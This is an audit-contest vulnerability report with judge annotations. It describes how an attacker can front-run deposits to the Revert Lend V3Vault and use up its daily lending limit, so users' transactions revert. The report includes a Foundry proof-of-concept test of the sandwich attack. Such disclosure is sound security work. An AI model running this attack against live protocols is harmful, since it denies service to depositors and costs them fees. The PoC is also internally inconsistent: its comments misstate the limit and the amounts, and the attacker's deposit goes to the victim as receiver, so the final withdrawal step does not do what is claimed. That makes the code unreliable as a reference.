Attacker can exploit dailyLimit functionality to invalidate victims transaction.

[c4-bot-1]

Lines of code

https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L877
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L911
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L550
https://github.com/code-423n4/2024-03-revert-lend/blob/435b054f9ad2404173f36f0f74a5096c894b12b7/src/V3Vault.sol#L575

Vulnerability details

Summary

RevertLend has implemented a daily limit on both lending and borrowing amounts to protect against flashloan and large-value manipulation attacks.However, the same mechanism can be exploited to invalidate normal user transactions by anyone.

Vulnerability

• An attacker can exploit this vulnerability by monitoring the mempool.
• When a user submits a transaction to deposit, the attacker can front-run it with their own transaction, depositing up to the remaining limit.
• This causes the victim's deposit transaction to fail.
• Then attacker can back-run it with a withdrawal transaction, effectively removing the funds initially deposited by them.
• This same strategy applies to borrowing transactions as well.

Impact

• Attacker can invalidate the victim's deposit and borrow transaction.
• Victim loses gas fee and potential financial loss due to the failure of their deposit or borrowing transactions, despite following the protocol correctly.

Proof of Concept

• Add below test in the V3Vault.t.sol file and run it with via "forge test --mt testDOSviaDailyLendLimtit -vv"

function testDOSviaDailyLendLimtit() external {

        //Setup Victim and Attacker 
        address Victim = makeAddr("victim");
        address Attacker = makeAddr("attacker");

        vm.startPrank(WHALE_ACCOUNT);
        USDC.transfer(Victim,20e6);
        USDC.transfer(Attacker,20e6);
        vm.stopPrank();

        vm.prank(Victim);
        USDC.approve(address(vault), type(uint256).max);
        vm.prank(Attacker);
        USDC.approve(address(vault), type(uint256).max);   

        //Daily Lend Limit is set to the 10 USDC.

        assertEq(vault.dailyLendIncreaseLimitMin(),12e6);

        //Normal Scenario, Victim deposits 10 USDC below the limit and everything works out
        uint deposit_amount  = 1e6;

        vm.prank(Victim);
        vault.deposit(deposit_amount, Victim);

        //Exploit Scenario
        //At this point we have 12 USDC in the vault.

        vm.warp(block.timestamp + 1 days);

        // we move forward one day so that now, users are allowed to deposit as per new daily Lend Limit (up to 12 USDC)

        //Now Attacker here sandwich the victim's deposit transaction with deposit of 12 USDC (consuming the reminder till limit) 
        //and withdrawin the 12 USDC deposited in the previous tx.

        uint victim_deposit_amount   = 1e6;
        uint Attacker_deposit_amount = 12e6; //Equal to lender to limit
        
        vm.prank(Attacker);
        vault.deposit(Attacker_deposit_amount, Victim);

        //This will revert as the attacker has consumed the Global Limit temporarily
        vm.expectRevert(IErrors.DailyLendIncreaseLimit.selector);

        vm.prank(Victim);
        vault.deposit(victim_deposit_amount, Victim);
        
        vm.prank(Attacker);
        vault.withdraw(vault.balanceOf(Attacker), Attacker, Attacker);
    
    }

Tools Used

Manual Review

Recommended Mitigation Steps

• Implement a mechanism to prevent users from depositing and withdrawing on the same day.

Assessed type

DoS

[c4-pre-sort]

0xEVom marked the issue as primary issue

[c4-pre-sort]

0xEVom marked the issue as sufficient quality report

[c4-pre-sort]

0xEVom marked the issue as duplicate of #435

[c4-judge]

jhsagd76 marked the issue as satisfactory